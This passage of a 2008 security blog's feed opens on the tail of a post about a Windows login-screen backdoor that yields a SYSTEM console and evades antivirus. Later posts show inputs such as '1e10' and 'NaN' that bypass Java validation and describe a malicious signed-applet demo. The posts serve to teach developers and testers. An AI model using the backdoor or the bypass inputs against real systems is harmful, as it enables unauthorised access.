pressing the win key + U will present you with a console with the highest privileges; SYSTEM. Running "explorer" from the console will present the taskbar leaving the login screen as a backdrop. This is a great backdoor for a system as it will most likely go undetected. It will certainly not be picked up by any AV system.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6456994913735990120?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6456994913735990120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6456994913735990120' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6456994913735990120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6456994913735990120'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/06/backdooring-windows-authentication.html' title='Backdooring Windows (XP, Vista) Authentication'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-5969598795843115396</id><published>2008-03-20T09:13:00.001Z</published><updated>2008-03-20T10:19:12.158Z</updated><title type='text'>HSBC Bank Account aggregation</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_mcbym-3BJdU/R-I6DRvKQPI/AAAAAAAAD2A/bFmO6KlFZQY/s1600-h/hsbc_logo_only.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_mcbym-3BJdU/R-I6DRvKQPI/AAAAAAAAD2A/bFmO6KlFZQY/s320/hsbc_logo_only.gif" alt="" id="BLOGGER_PHOTO_ID_5179766349404717298" border="0" /&gt;&lt;/a&gt;No doubt that most of you use online banking. I am certainly a great fan. There are a couple of annoyances such as the logging in process which I find tedious as it is something that can be totally automated. Also, my online banking only gives me statements from the previous 3 months. Therefore, I have been working on a Java Swing application which focuses on the HSBC Personal Internet Banking to automate the login process and to automatically retrieve all the account details which could then, for example, be used as a feed / gadget for iGoogle or social networking sites. The HSBC class file will be available soon.....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-5969598795843115396?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/5969598795843115396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=5969598795843115396' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5969598795843115396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5969598795843115396'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/03/hsbc-bank-account-aggregation.html' title='HSBC Bank Account aggregation'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mcbym-3BJdU/R-I6DRvKQPI/AAAAAAAAD2A/bFmO6KlFZQY/s72-c/hsbc_logo_only.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-7235718005781993898</id><published>2008-01-18T21:06:00.000Z</published><updated>2008-02-01T08:00:01.479Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='api'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><title type='text'>Why all good Developers and penetration testers should "Know thy API"</title><content type='html'>Trawling through an API always exhibits interesting results. A vital motto of Developers and respectable penetration testers should be "know thy API". As a Developer I will rely on the API to aid validation and at the same time I should be aware of any "gotchas" that can lie in the undergrowth when creating an Object, for example values which can be passed during instantiation that you would not normally expect. As a penetration tester I will use anomalies to my advantage to circumvent validation routines.&lt;br /&gt;&lt;br /&gt;Knowing the values which can be used to instantiate certain Objects can yield interesting results. Let's take the java.math.BigDecimal class as an example as it is an Object I would expect to be used when testing financial applications. There have been many occasions when the "exponent hack" has come in useful as it can be used to bypass validation routines which in turn results in overflows, being able to create values less than 1 (without starting with zero or using decimal notation), and a wide range of other exceptions / unexpected behaviour when combined with other components.&lt;br /&gt;&lt;br /&gt;I have seen Developers attempting to validate a number based on length of the string (shocking but true!). For example, it was assumed that if the length of the string was less than or equal to 4 then the number could not exceed 9999. We could envisage the code something along the lines of:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span&gt;String sNumber = request.getParamater("numberNoMoreThan5Char");&lt;br /&gt;&lt;br /&gt;//Make sure the number is less than 9999 and greater than 0.&lt;br /&gt;if(sNumber.length() &lt;= 4 &amp;amp;&amp;amp; sNumber.charAt(0) != "0") &lt;/span&gt;&lt;span&gt;    BigDecimal myNumber = new BigDecimal(sNumber);&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;The use of scientific notation will allow us to bypass this poor validation routine (the goal here is to instantiate BigDecimal and not to result in a NumberFormatException, which can be easily achieved). For example, if "numberNoMoreThan5Char" is set to "1e10" we meet the validation requirements as the string is equal to four characters and does not begin with zero. However, BigDecimal is then instantiated with with a value of 10000000000. Similarly, by passing "1e-9" results in the BigDecimal being instantiated with the value of 0.000000001. As expected, this will cause further complications throughout the application and will most likely lead to data degradation i.e data which is stored that would have never been expected.&lt;br /&gt;&lt;br /&gt;A second example can be seen with the java.lang.Double class. A technique which is often used to determine if a number is valid (I found this code in the OWASP ESAPI project) goes along the lines of:&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;&lt;span&gt;public boolean isValidNumber(String input)&lt;br /&gt;{&lt;/span&gt;&lt;span&gt;&lt;br /&gt;try&lt;br /&gt;{&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;        Double.parseDouble(input);&lt;/span&gt;&lt;span&gt;&lt;br /&gt;}&lt;br /&gt;catch (NumberFormatException e)&lt;br /&gt;{&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;        return false;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;        return true;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Now scientific notation can be used here and of course this isn't a problem as such notation results in a valid number. But before we proceed let's quickly delve into the Java API documentation and take a look at the explanation of Double.parseDouble(String):&lt;br /&gt;&lt;h5&gt; parseDouble&lt;/h5&gt;&lt;pre&gt;public static double &lt;b&gt;parseDouble&lt;/b&gt;(String s) throws NumberFormatException&lt;/pre&gt;&lt;dl&gt;&lt;dd&gt;Returns a new &lt;code&gt;double&lt;/code&gt; initialized to the value  represented by the specified &lt;code&gt;String&lt;/code&gt;, as performed  by the &lt;code&gt;valueOf&lt;/code&gt; method of class  &lt;code&gt;Double&lt;/code&gt;. &lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;dl&gt;&lt;dt&gt;&lt;b&gt;Parameters:&lt;/b&gt;&lt;/dt&gt;&lt;dd&gt;&lt;code&gt;s&lt;/code&gt; - the string to be parsed. &lt;/dd&gt;&lt;dt&gt;&lt;b&gt;Returns:&lt;/b&gt;&lt;/dt&gt;&lt;dd&gt;the &lt;code&gt;double&lt;/code&gt; value represented by the string          argument. &lt;/dd&gt;&lt;dt&gt;&lt;b&gt;Throws:&lt;/b&gt; &lt;/dt&gt;&lt;dd&gt;&lt;code&gt;NumberFormatException&lt;/code&gt; - if the string does not contain             a parsable &lt;code&gt;double&lt;/code&gt;.&lt;/dd&gt;&lt;dt&gt;&lt;b&gt;Since:&lt;/b&gt;&lt;/dt&gt;&lt;dd&gt;1.2&lt;/dd&gt;&lt;dt&gt;&lt;b&gt;See Also:&lt;/b&gt;&lt;/dt&gt;&lt;dd&gt;&lt;code&gt;valueOf(String)&lt;/code&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;It may therefore come as a surprise that passing a string with the value "NaN" (not-a-number) or "Infinity" will result in isValidNumber returning true. For example, Double.parseDouble("NaN") or Double.parseDouble("Infinity") is perfectly valid and actually returns a Double with a value set to "NaN" or "Infinity" and in a lot of situations is not what a Developer would expect or want for that matter. This is a perfect example of what happens when Developers rely on an API to perform validation without knowing the anomalies. A little investigation reveals how we are able to pass "NaN" and "Infinity" as a valid argument. Let's take a look at the code for Double.parseDouble(String):&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span&gt;public static double parseDouble(String s) throws NumberFormatException&lt;br /&gt;{&lt;br /&gt;return FloatingDecimal.readJavaFormatString(s).doubleValue();&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;Yep, just one line of code! Well it appears we will have to dig down just a little further and check out the FloatingDecimal class and see what resides in the method readJavaFormatString(String). As it turns out, this method is 249 lines long! So I have selected the interesting piece from the method:&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span&gt;&lt;span&gt;// compare Input string to "NaN" or "Infinity"&lt;/span&gt;&lt;br /&gt;&lt;span&gt;        int j = 0;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;        while(i &lt;&gt;&lt;br /&gt;&lt;span&gt;            if(in.charAt(i) == targetChars[j]) {&lt;/span&gt;&lt;br /&gt;&lt;span&gt;            i++; j++;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;            }&lt;/span&gt;&lt;br /&gt;&lt;span&gt;            else // something is amiss, throw exception&lt;/span&gt;&lt;br /&gt;&lt;span&gt;            break parseNumber;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;// For the candidate string to be a NaN or infinity,&lt;/span&gt;&lt;br /&gt;&lt;span&gt;        // all characters in input string and target char[]&lt;/span&gt;&lt;br /&gt;&lt;span&gt;        // must be matched ==&gt; j must equal targetChars.length&lt;/span&gt;&lt;br /&gt;&lt;span&gt;        // and i must equal l&lt;/span&gt;&lt;br /&gt;&lt;span&gt;        if( (j == targetChars.length) &amp;amp;&amp;amp; (i == l) ) { // return NaN or infinity&lt;/span&gt;&lt;br /&gt;&lt;span&gt;            return (potentialNaN ? new FloatingDecimal(Double.NaN) // NaN has no sign&lt;/span&gt;&lt;br /&gt;&lt;span&gt;                : new FloatingDecimal(isNegative?&lt;/span&gt;&lt;br /&gt;&lt;span&gt;                          Double.NEGATIVE_INFINITY:&lt;/span&gt;&lt;br /&gt;&lt;span&gt;                          Double.POSITIVE_INFINITY)) ;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;p class="MsoNormal"&gt;As we can see from the code comments it is clear that it has been designed to take "NaN" and "Infinity" as a valid argument. Developers can be forgiven for not expecting such values to be valid as it was not directly mentioned in the API documentation for parseDouble(String) as we saw above. Although there are actually some clues as the documentation did mention:&lt;/p&gt;&lt;span&gt;&lt;b&gt;See Also:&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;dl&gt;&lt;dd&gt;&lt;code&gt;valueOf(String)&lt;/code&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;/span&gt;&lt;p class="MsoNormal"&gt;&lt;span&gt;As a Developer I find it vital that I need to be aware of such anomalies to keep the code well validated and will often find myself digging deeper down the Java package tree so I can manually check for anything unexpected, I can then tweak my validation accordingly and combine such details to construct a more intelligent alerting log system (if I saw the anomalies passed to my application it would make me very suspicious). As a penetration tester I will use these anomalies as a means for attacking an application, and as we have seen such techniques come in extremely useful.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-7235718005781993898?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/7235718005781993898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=7235718005781993898' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7235718005781993898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7235718005781993898'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/01/why-good-developers-and-penetration.html' title='Why all good Developers and penetration testers should &quot;Know thy API&quot;'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6601341641235994694</id><published>2008-01-15T17:14:00.000Z</published><updated>2008-01-30T07:48:55.183Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java gotcha'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><title type='text'>OWASP - Java Gotchas</title><content type='html'>As I spend more time developing in Java and analysing others source code for quality and security issues I come across some common pitfalls that often catch Developers out, some which can have serious consequences on the logic. From time to time I rip open some of the Java classes developed by Sun to get a deeper understanding as to what goes on behind the scenes. There is a particular topic that I enjoy contributing to on &lt;a href="http://www.owasp.org/index.php/Java_gotchas"&gt;OWASP called Java Gotchas&lt;/a&gt; (unfortunately not as much as I would like to). If Java is your thing I am sure you will find something on there of interest and of course please feel free to contribute.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6601341641235994694?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6601341641235994694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6601341641235994694' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6601341641235994694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6601341641235994694'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/01/owasp-java-gotchas.html' title='OWASP - Java Gotchas'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-7927516387008656447</id><published>2008-01-14T15:32:00.000Z</published><updated>2008-03-20T10:23:04.512Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java applet'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious code'/><title type='text'>“If you’re not sure what you’re about to run, then don’t click Run!”</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_mcbym-3BJdU/R-I69hvKQQI/AAAAAAAAD2I/Mmcn0FlMctI/s1600-h/DontClick.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp0.blogger.com/_mcbym-3BJdU/R-I69hvKQQI/AAAAAAAAD2I/Mmcn0FlMctI/s320/DontClick.gif" alt="" id="BLOGGER_PHOTO_ID_5179767350132097282" border="0" /&gt;&lt;/a&gt;&lt;i&gt;Note: When I use the term “users” in this article I am reflecting upon my experiences with technical and non-technical users.&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;  &lt;p class="MsoNormal"&gt;When something is a mystery how can you be expected to know what the best response would be? This is why it is important to adopt best practices to prevent falling into nasty traps. The general rule of thumb is not click “OK” or “Run” if you don’t know what it is or where it came from.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Having somewhat of an unhealthy obsession with Java I want to correct the misconception that Java is “safe”. Now, I am not talking about vulnerabilities such as buffer overflows as these problems are rare due to them existing, for example, when JNI is used and then in which case it is not really the fault of the JVM.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The focus of this discussion concentrates on the functional capabilities of Java and the common misconceptions; this can also apply to other development kits for that matter. Anyone who is familiar with Java will know that it is has a rich API and there really aren’t any functional limitations. I believe the misconception of Java being “safe” has emerged due to the lack of association with malware. But a tool or development kit is only as safe as the intentions from the user or developer.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;I find it surprising that Java has not become a greater focus for performing malicious activities such as a mechanism to deliver payloads. With the misconception of Java safety and the fact that it is not a primary focus for the anti-virus industry it would seem like an ideal combination for malicious use. Let’s face it, Virus Analysts specialise in lower level languages such as Assembly and C++, not Java. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;So as an example let’s explore the world of Java applets. Users often feel a false sense of heightened security when using a web browser, even more so when confronted with a Java applet. When it comes to Java applets they can be considered secure in a lot of respects due to them being constrained to a sandbox environment but signed Java applets can perform the equivalent of Java desktop applications. It is a trivial task to sign your own applet, a quick Google search will present you plenty of examples (although I will show you how I signed my applet in a minute)&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;The core of the problem lies with users accepting signed Java applets, we see the same problem when users execute attachments from emails. However, users are becoming increasingly cautious of email attachments but I the same is not true for signed Java applets. The following video demonstrates the capability of a signed Java applet.....&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;It's currently hosted &lt;a href="http://video.google.com/videoplay?docid=-3965453204549890561&amp;amp;hl=en"&gt;here&lt;/a&gt;, but the video quality is a bit trashed. It is more worthwhile downloading from here:&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;a href="http://rapidshare.com/files/85112606/Dont_click_Run.wmv.html"&gt;http://rapidshare.com/files/85112606/Dont_click_Run.wmv.html&lt;/a&gt;&lt;/p&gt;Note: The applet was signed using the following commands:&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;Step 1:    jar cvf NotepadApplet.jar NotepadApplet.class&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;Step 2: keytool -genkey -alias signFiles -keystore compstore -keypass kpi135 -dname "cn=Adam Boulton's Applet Patcher" -storepass 123456&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;Step 3: jarsigner -keystore compstore -storepass 123456 -keypass kpi135 -signedjar TheSignedNotepadPatcher.jar NotepadApplet.jar signFiles&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;Step 4:    keytool -export -keystore compstore -storepass 123456 -alias signFiles -file Notepad.cert&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-7927516387008656447?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/7927516387008656447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=7927516387008656447' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7927516387008656447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7927516387008656447'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/01/if-youre-not-sure-what-youre-about-to.html' title='“If you’re not sure what you’re about to run, then don’t click Run!”'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_mcbym-3BJdU/R-I69hvKQQI/AAAAAAAAD2I/Mmcn0FlMctI/s72-c/DontClick.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6963502316564625359</id><published>2008-01-05T19:50:00.000Z</published><updated>2008-03-20T10:27:34.035Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hello world'/><title type='text'>A new beginning....</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_mcbym-3BJdU/R-I8DhvKQRI/AAAAAAAAD2Q/MdoPqbFFrPs/s1600-h/road.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp0.blogger.com/_mcbym-3BJdU/R-I8DhvKQRI/AAAAAAAAD2Q/MdoPqbFFrPs/s320/road.jpg" alt="" id="BLOGGER_PHOTO_ID_5179768552722940178" border="0" /&gt;&lt;/a&gt;As a new year's resolution I decided it was about time to make my research available on a global basis. This blog will focus around my core skills and interests in software development  (mostly Java and Assembly), reverse engineering and other aspects surrounding IT security, such as "in the wild" hacking techniques.  I look forward to all feedback, now let's get down and dirty and have some phun. Of course the first blog post always has to finish with the classic message&lt;br /&gt;&lt;br /&gt;BA0C01B409CD21B44CCD210048656C6C6F20576F726C64210D0A24&lt;br /&gt;(Copy and paste into hex editor and save as a .com file)&lt;br /&gt;&lt;br /&gt;Cheers&lt;br /&gt;&lt;br /&gt;Adam&lt;br /&gt;&lt;a href="http://www.linkedin.com/profile?viewProfile=&amp;amp;key=12090735"&gt;http://www.linkedin.com/profile?viewProfile=&amp;amp;key=12090735&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6963502316564625359?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6963502316564625359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6963502316564625359' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6963502316564625359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6963502316564625359'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/01/new-beginning.html' title='A new beginning....'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_mcbym-3BJdU/R-I8DhvKQRI/AAAAAAAAD2Q/MdoPqbFFrPs/s72-c/road.jpg' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
